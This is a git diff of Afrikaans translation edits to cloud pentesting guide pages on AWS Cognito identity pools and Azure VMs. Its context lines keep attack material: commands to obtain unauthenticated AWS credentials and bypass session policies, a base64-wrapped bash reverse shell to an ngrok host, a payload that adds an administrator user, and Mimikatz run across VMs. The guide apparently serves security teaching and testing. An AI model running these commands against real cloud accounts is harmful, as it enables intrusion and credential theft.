diff --git a/src/images/arte.png b/src/images/arte.png index 57f392dbe..388ff8433 100644 Binary files a/src/images/arte.png and b/src/images/arte.png differ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 2fd0ecb2a..ec3f52106 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,10 +4,10 @@ ## Basiese Inligting -Identiteitspoele speel 'n belangrike rol deur jou gebruikers in staat te stel om **tydelike geloofsbriewe** te verkry. Hierdie geloofsbriewe is noodsaaklik vir die toegang tot verskeie AWS-dienste, insluitend maar nie beperk tot Amazon S3 en DynamoDB nie. 'n Opmerkelijke kenmerk van identiteitspoele is hul ondersteuning vir beide anonieme gasgebruikers en 'n verskeidenheid identiteitsverskaffers vir gebruikersverifikasie. Die ondersteunde identiteitsverskaffers sluit in: +Identiteitspoele speel 'n belangrike rol deur jou gebruikers in staat te stel om **tydelike geloofsbriewe** te verkry. Hierdie geloofsbriewe is noodsaaklik om toegang te verkry tot verskeie AWS-dienste, insluitend maar nie beperk tot Amazon S3 en DynamoDB nie. 'n Opmerkelijke kenmerk van identiteitspoele is hul ondersteuning vir beide anonieme gasgebruikers en 'n verskeidenheid identiteitsverskaffers vir gebruikersverifikasie. Die ondersteunde identiteitsverskaffers sluit in: - Amazon Cognito gebruikerspoele -- Sosiale aanmeldopsies soos Facebook, Google, Aanmeld met Amazon, en Teken in met Apple +- Sosiale aanmeldopsies soos Facebook, Google, Aanmeld met Amazon, en Meld aan met Apple - Verskaffers wat voldoen aan OpenID Connect (OIDC) - SAML (Security Assertion Markup Language) identiteitsverskaffers - Ontwikkelaar geverifieerde identiteite @@ -43,7 +43,7 @@ Boonop is die diens **cognito-sync** die diens wat toelaat om **hierdie inligtin ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS eksploitering raamwerk, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en outomatiseer ook gebruikersskepping (insluitend MFA-ondersteuning) en privilige-eskalasie gebaseer op aanpasbare aangepaste attributen, bruikbare identiteits pool akkrediteer, aanneembare rolle in id tokens, ens. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS eksploitering raamwerk, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en ook gebruikersskepping outomatiseer (insluitend MFA-ondersteuning) en privilige-eskalasie gebaseer op aanpasbare aangepaste attributen, bruikbare identiteits pool akkrediteer, aanneembare rolle in id tokens, ens. Vir 'n beskrywing van die modules se funksies, sien deel 2 van die [blog pos](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie instruksies, sien die hoof [Pacu](https://github.com/RhinoSecurityLabs/pacu) bladsy. @@ -55,7 +55,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening te versamel: +Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening, te versamel: ```bash Pacu (new:test) > run cognito__enum ``` @@ -75,12 +75,12 @@ Vir meer inligting, kyk na https://github.com/padok-team/cognito-scanner ### Ongeoutentiseerde -Die enigste ding wat 'n aanvaller moet weet om **AWS kredensiale** in 'n Cognito-toepassing as 'n ongeoutentiseerde gebruiker te **kry**, is die **Identiteit Pool ID**, en hierdie **ID moet hardgecodeer** wees in die web/mobiele **toepassing** sodat dit dit kan gebruik. 'n ID lyk soos hierdie: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (dit is nie bruteforceerbaar nie). +Die enigste ding wat 'n aanvaller moet weet om **AWS kredensiale** in 'n Cognito-app as 'n ongeoutentiseerde gebruiker te verkry, is die **Identiteit Pool ID**, en hierdie **ID moet hardgecodeer** wees in die web/mobiele **toepassing** sodat dit dit kan gebruik. 'n ID lyk soos volg: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (dit is nie bruteforceerbaar nie). > [!TIP] > Die **IAM Cognito ongeoutentiseerde rol wat via geskep is, word** standaard `Cognito_Unauth_Role` genoem. -As jy 'n Identiteit Pools ID hardgecodeer vind en dit ongeoutentiseerde gebruikers toelaat, kan jy AWS kredensiale kry met: +As jy 'n Identiteit Pools ID hardgecodeer vind en dit ongeoutentiseerde gebruikers toelaat, kan jy AWS kredensiale verkry met: ```python import requests @@ -116,9 +116,9 @@ aws cognito-identity get-credentials-for-identity --identity-id -- ### Verbeterde vs Basiese Verifikasievloei -Die vorige afdeling het die **standaard verbeterde verifikasievloei** gevolg. Hierdie vloei stel 'n **beperkende** [**sessiebeleid**](../../aws-basic-information/#session-policies) in vir die IAM rol sessie wat gegenereer is. Hierdie beleid sal slegs toelaat dat die sessie [**die dienste van hierdie lys gebruik**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (selfs al het die rol toegang tot ander dienste). +Die vorige afdeling het die **standaard verbeterde verifikasievloei** gevolg. Hierdie vloei stel 'n **beperkende** [**sessiebeleid**](../../aws-basic-information/index.html#session-policies) in vir die IAM rol sessie wat gegenereer is. Hierdie beleid sal slegs toelaat dat die sessie [**die dienste van hierdie lys gebruik**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (selfs al het die rol toegang tot ander dienste). -Daar is egter 'n manier om dit te omseil, as die **Identiteitspoel "Basiese (Klassieke) Vloei" geaktiveer het**, sal die gebruiker in staat wees om 'n sessie te verkry met behulp van daardie vloei wat **nie daardie beperkende sessiebeleid sal hê nie**. +Daar is egter 'n manier om dit te omseil; as die **Identiteitspoel "Basiese (Klassieke) Vloei" geaktiveer het**, sal die gebruiker in staat wees om 'n sessie te verkry met behulp van daardie vloei wat **nie daardie beperkende sessiebeleid sal hê nie**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -135,41 +135,41 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/ `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -As jy 'n stel IAM geloofsbriewe het, moet jy [kontroleer watter toegang jy het](../../#whoami) en probeer om [privileges te verhoog](../../aws-privilege-escalation/). +As jy 'n stel IAM-akkrediteerings het, moet jy [kyk watter toegang jy het](../../index.html#whoami) en probeer om [privileges te verhoog](../../aws-privilege-escalation/index.html). ### Geverifieer > [!NOTE] -> Onthou dat **geverifieerde gebruikers** waarskynlik **verskillende toestemmings** toegeken sal word, so as jy kan **aanmeld binne die app**, probeer dit en kry die nuwe geloofsbriewe. +> Onthou dat **geverifieerde gebruikers** waarskynlik **verskillende toestemmings** toegeken sal word, so as jy kan **aanmeld binne die app**, probeer dit en kry die nuwe akkrediteerings. Daar kan ook **rolle** beskikbaar wees vir **geverifieerde gebruikers wat toegang tot die Identiteitspoel** het. -Hiervoor mag jy toegang tot die **identiteitsverskaffer** nodig hê. As dit 'n **Cognito Gebruikerspoel** is, kan jy dalk die standaardgedrag misbruik en **self 'n nuwe gebruiker skep**. +Vir dit mag jy toegang tot die **identiteitsverskaffer** nodig hê. As dit 'n **Cognito-gebruikerspoel** is, kan jy dalk die standaardgedrag misbruik en **self 'n nuwe gebruiker skep**. > [!TIP] -> Die **IAM Cognito geverifieerde rol wat via geskep is** word standaard `Cognito_Auth_Role` genoem. +> Die **IAM Cognito geverifieerde rol wat geskep is via** word standaard `Cognito_Auth_Role` genoem. -In elk geval, die **volgende voorbeeld** verwag dat jy reeds binne 'n **Cognito Gebruikerspoel** aangemeld het wat gebruik word om toegang tot die Identiteitspoel te verkry (moet nie vergeet dat ander tipes identiteitsverskaffers ook gekonfigureer kan word nie). +In elk geval, die **volgende voorbeeld** verwag dat jy reeds binne 'n **Cognito-gebruikerspoel** aangemeld het wat gebruik word om toegang tot die Identiteitspoel te verkry (moet nie vergeet dat ander tipes identiteitsverskaffers ook gekonfigureer kan word nie).
aws cognito-identity get-id \
---identity-pool-id <identity_pool_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id  \
+--logins cognito-idp..amazonaws.com/=
 
 # Kry die identity_id van die vorige opdrag se antwoord
 aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id  \
+--logins cognito-idp..amazonaws.com/=
 
 
 # In die IdToken kan jy rolle vind waartoe 'n gebruiker toegang het as gevolg van Gebruikerspoel Groepe
-# Gebruik die --custom-role-arn om geloofsbriewe vir 'n spesifieke rol te kry
+# Gebruik die --custom-role-arn om akkrediteerings vir 'n spesifieke rol te kry
 aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
-    --custom-role-arn <role_arn> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id  \
+    --custom-role-arn  \
+    --logins cognito-idp..amazonaws.com/=
 
> [!WARNING] -> Dit is moontlik om **verskillende IAM rolle te konfigureer afhangende van die identiteitsverskaffer** waarteen die gebruiker aangemeld is of selfs net afhangende **van die gebruiker** (met behulp van aansprake). Daarom, as jy toegang het tot verskillende gebruikers deur dieselfde of verskillende verskaffers, mag dit **die moeite werd wees om aan te meld en toegang te verkry tot die IAM rolle van al hulle**. +> Dit is moontlik om **verskillende IAM rolle te konfigureer afhangende van die identiteitsverskaffer** waarteen die gebruiker aangemeld is of selfs net afhangende **van die gebruiker** (met behulp van aansprake). Daarom, as jy toegang het tot verskillende gebruikers deur dieselfde of verskillende verskaffers, kan dit **die moeite werd wees om aan te meld en toegang te verkry tot die IAM rolle van al hulle**. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index dc350ca70..ebb556c7e 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -12,20 +12,20 @@ az-azure-network.md ## VMs Basiese inligting -Azure Virtuele Masjiene (VMs) is buigsaam, op aanvraag **cloud-gebaseerde bedieners wat jou toelaat om Windows of Linux bedryfstelsels te draai**. Hulle stel jou in staat om toepassings en werklas te ontplooi sonder om fisiese hardeware te bestuur. Azure VMs kan gekonfigureer word met verskillende CPU, geheue, en stoor opsies om spesifieke behoeftes te vervul en te integreer met Azure dienste soos virtuele netwerke, stoor, en sekuriteitsinstrumente. +Azure Virtuele Masjiene (VMs) is buigsaam, op aanvraag **cloud-gebaseerde bedieners wat jou toelaat om Windows of Linux bedryfstelsels te draai**. Hulle stel jou in staat om toepassings en werklas te ontplooi sonder om fisiese hardeware te bestuur. Azure VMs kan gekonfigureer word met verskillende CPU, geheue, en stoor opsies om spesifieke behoeftes te voldoen en te integreer met Azure dienste soos virtuele netwerke, stoor, en sekuriteitsinstrumente. ### Sekuriteitskonfigurasies - **Beschikbaarheidsgebiede**: Beschikbaarheidsgebiede is afsonderlike groepe datacenters binne 'n spesifieke Azure streek wat fisies geskei is om die risiko te minimaliseer dat verskeie gebiede deur plaaslike onderbrekings of rampe geraak word. - **Sekuriteitstipe**: - **Standaard Sekuriteit**: Dit is die standaard sekuriteitstipe wat nie enige spesifieke konfigurasie vereis nie. -- **Vertroude Ontplooiing**: Hierdie sekuriteitstipe verbeter beskerming teen opstartkits en kernel-vlak malware deur Secure Boot en Virtual Trusted Platform Module (vTPM) te gebruik. +- **Vertroude Ontplooiing**: Hierdie sekuriteitstipe verbeter beskerming teen opstartkits en kernvlak malware deur Secure Boot en Virtual Trusted Platform Module (vTPM) te gebruik. - **Vertrouelike VMs**: Bo-op 'n vertroude ontplooiing, bied dit hardeware-gebaseerde isolasie tussen die VM, hypervisor en gasheerbestuur, verbeter die skyfversleuteling en [**meer**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** - **Verifikasie**: Standaard word 'n nuwe **SSH-sleutel gegenereer**, alhoewel dit moontlik is om 'n publieke sleutel te gebruik of 'n vorige sleutel te gebruik en die gebruikersnaam is standaard **azureuser**. Dit is ook moontlik om te konfigureer om 'n **wagwoord** te gebruik. - **VM skyfversleuteling:** Die skyf is standaard versleuteld wanneer dit rus met 'n platform bestuurde sleutel. - Dit is ook moontlik om **Versleuteling by die gasheer** in te skakel, waar die data in die gasheer versleuteld sal word voordat dit na die stoor diens gestuur word, wat 'n einde-tot-einde versleuteling tussen die gasheer en die stoor diens verseker ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). - **NIC netwerk sekuriteitsgroep**: -- **Geen**: Basies elke poort oopmaak +- **Geen**: Basies maak elke poort oop - **Basies**: Laat toe om die inkomende poorte HTTP (80), HTTPS (443), SSH (22), RDP (3389) maklik oop te maak - **Geavanceerd**: Kies 'n sekuriteitsgroep - **Rugsteun**: Dit is moontlik om **Standaard** rugsteun (een per dag) en **Verbeterde** (meerdere per dag) in te skakel @@ -45,12 +45,12 @@ Azure Virtuele Masjiene (VMs) is buigsaam, op aanvraag **cloud-gebaseerde bedien ## Skywe & snappings -- Dit is moontlik om **'n skyf aan 2 of meer VMs te koppel** +- Dit is moontlik om **te aktiveer om 'n skyf aan 2 of meer VMs te koppel** - Standaard is elke skyf **versleuteld** met 'n platform sleutel. - Dieselfde in snappings - Standaard is dit moontlik om **die skyf van alle netwerke te deel**, maar dit kan ook **beperk** word tot slegs sekere **privaat toegang** of om **publieke en private toegang heeltemal te deaktiveer**. - Dieselfde in snappings -- Dit is moontlik om **'n SAS URI** (maks 60 dae) te **genereer om die skyf te eksporteer**, wat gekonfigureer kan word om verifikasie te vereis of nie +- Dit is moontlik om 'n **SAS URI** (maks 60 dae) te **genereer om die skyf te eksporteer**, wat gekonfigureer kan word om verifikasie te vereis of nie - Dieselfde in snappings {{#tabs}} @@ -76,10 +76,10 @@ Get-AzDisk -Name -ResourceGroupName ## Beelde, Galery Beelde & Herstelpunte -'n **VM beeld** is 'n sjabloon wat die bedryfstelsel, toepassingsinstellings en lêerstelsel bevat wat nodig is om 'n **nuwe virtuele masjien (VM)** te **skep**. Die verskil tussen 'n beeld en 'n skyf-snapshot is dat 'n skyf-snapshot 'n lees-alleen, punt-in-tyd kopie van 'n enkele bestuurde skyf is, wat hoofsaaklik vir rugsteun of probleemoplossing gebruik word, terwyl 'n beeld **meerdere skywe kan bevat en ontwerp is om as 'n sjabloon vir die skep van nuwe VM's te dien**.\ +'n **VM beeld** is 'n sjabloon wat die bedryfstelsel, toepassingsinstellings en lêerstelsel bevat wat nodig is om 'n **nuwe virtuele masjien (VM)** te **skep**. Die verskil tussen 'n beeld en 'n skyf-snapshot is dat 'n skyf-snapshot 'n lees-alleen, punt-in-tyd kopie van 'n enkele bestuurde skyf is, wat hoofsaaklik vir rugsteun of probleemoplossing gebruik word, terwyl 'n beeld **meerdere skywe kan bevat en ontwerp is om as 'n sjabloon te dien vir die skep van nuwe VM's**.\ Beelde kan bestuur word in die **Beelde afdeling** van Azure of binne **Azure rekenaar galerye** wat dit moontlik maak om **weergawe** te genereer en die beeld oor huurders te **deel** of selfs dit publiek te maak. -'n **herstelpunt** stoor die VM-konfigurasie en **punt-in-tyd** toepassings-konsistente **snapshots van al die bestuurde skywe** wat aan die VM gekoppel is. Dit is verwant aan die VM en die doel daarvan is om daardie VM te kan herstel na hoe dit was op daardie spesifieke punt in tyd. +'n **herstelpunt** stoor die VM-konfigurasie en **punt-in-tyd** toepassings-konsistente **snapshots van al die bestuurde skywe** wat aan die VM gekoppel is. Dit is verwant aan die VM en die doel daarvan is om daardie VM te kan herstel na hoe dit was in daardie spesifieke punt in tyd. {{#tabs}} {{#tab name="az cli"}} @@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name -ResourceGroupName & /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -522,7 +522,7 @@ az vm extension set \ ``` U kan ook ander payloads uitvoer soos: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` -- Stel wagwoord terug met behulp van die VMAccess-uitbreiding +- Stel wagwoord weer in met behulp van die VMAccess-uitbreiding ```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt ``` ### **Voer Opdrag Uit** -Dit is die mees basiese meganisme wat Azure bied om **arbitraire opdragte in VMs uit te voer**. Die nodige toestemming is `Microsoft.Compute/virtualMachines/runCommand/action`. +Dit is die mees basiese mechanisme wat Azure bied om **arbitraire opdragte in VMs uit te voer**. Die nodige toestemming is `Microsoft.Compute/virtualMachines/runCommand/action`. {{#tabs }} {{#tab name="Linux" }} @@ -793,7 +793,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ## Unauthenticated Access {{#ref}} -../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md +../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md {{#endref}} ## Post Exploitation